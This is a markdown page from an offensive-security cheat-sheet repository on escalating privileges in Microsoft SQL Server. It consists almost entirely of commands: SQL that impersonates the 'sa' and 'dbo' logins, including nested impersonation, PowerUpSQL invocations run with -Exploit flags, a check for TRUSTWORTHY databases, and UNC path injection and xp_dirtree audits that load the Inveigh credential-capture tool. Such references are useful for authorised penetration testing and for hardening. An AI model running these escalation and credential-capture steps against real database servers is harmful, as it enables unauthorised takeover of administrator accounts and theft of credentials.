mssql-audit-checks.md (2074B)
1 --- 2 title: "MSSQL - Audit Checks" 3 section: "Databases" 4 sectionSlug: "databases" 5 sourcePath: "docs/databases/mssql-audit-checks.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/databases/mssql-audit-checks.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # MSSQL - Audit Checks 12 13 ## Summary 14 15 * [Impersonation Opportunities](#impersonation-opportunities) 16 * [Exploiting Impersonation](#exploiting-impersonation) 17 * [Exploiting Nested Impersonation](#exploiting-nested-impersonation) 18 * [Trustworthy Databases](#trustworthy-databases) 19 20 ## Impersonation Opportunities 21 22 * Impersonate as: `EXECUTE AS LOGIN = 'sa'` 23 * Impersonate `dbo` with DB_OWNER 24 25 ```sql 26 SQL> select is_member('db_owner'); 27 SQL> execute as user = 'dbo' 28 SQL> SELECT is_srvrolemember('sysadmin') 29 ``` 30 31 ```ps1 32 Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose 33 34 # impersonate sa account 35 powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug 36 ``` 37 38 ### Exploiting Impersonation 39 40 ```sql 41 SELECT SYSTEM_USER 42 SELECT IS_SRVROLEMEMBER('sysadmin') 43 EXECUTE AS LOGIN = 'adminuser' 44 SELECT SYSTEM_USER 45 SELECT IS_SRVROLEMEMBER('sysadmin') 46 SELECT ORIGINAL_LOGIN() 47 ``` 48 49 ### Exploiting Nested Impersonation 50 51 ```sql 52 SELECT SYSTEM_USER 53 SELECT IS_SRVROLEMEMBER('sysadmin') 54 EXECUTE AS LOGIN = 'stduser' 55 SELECT SYSTEM_USER 56 EXECUTE AS LOGIN = 'sa' 57 SELECT IS_SRVROLEMEMBER('sysadmin') 58 SELECT ORIGINAL_LOGIN() 59 SELECT SYSTEM_USER 60 ``` 61 62 ## Trustworthy Databases 63 64 ```sql 65 Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose 66 67 SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases 68 ``` 69 70 > The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound. 71 72 ```ps1 73 Invoke-SQLAuditPrivXpDirtree 74 Invoke-SQLUncPathInjection 75 Invoke-SQLAuditPrivXpFileexist 76 ```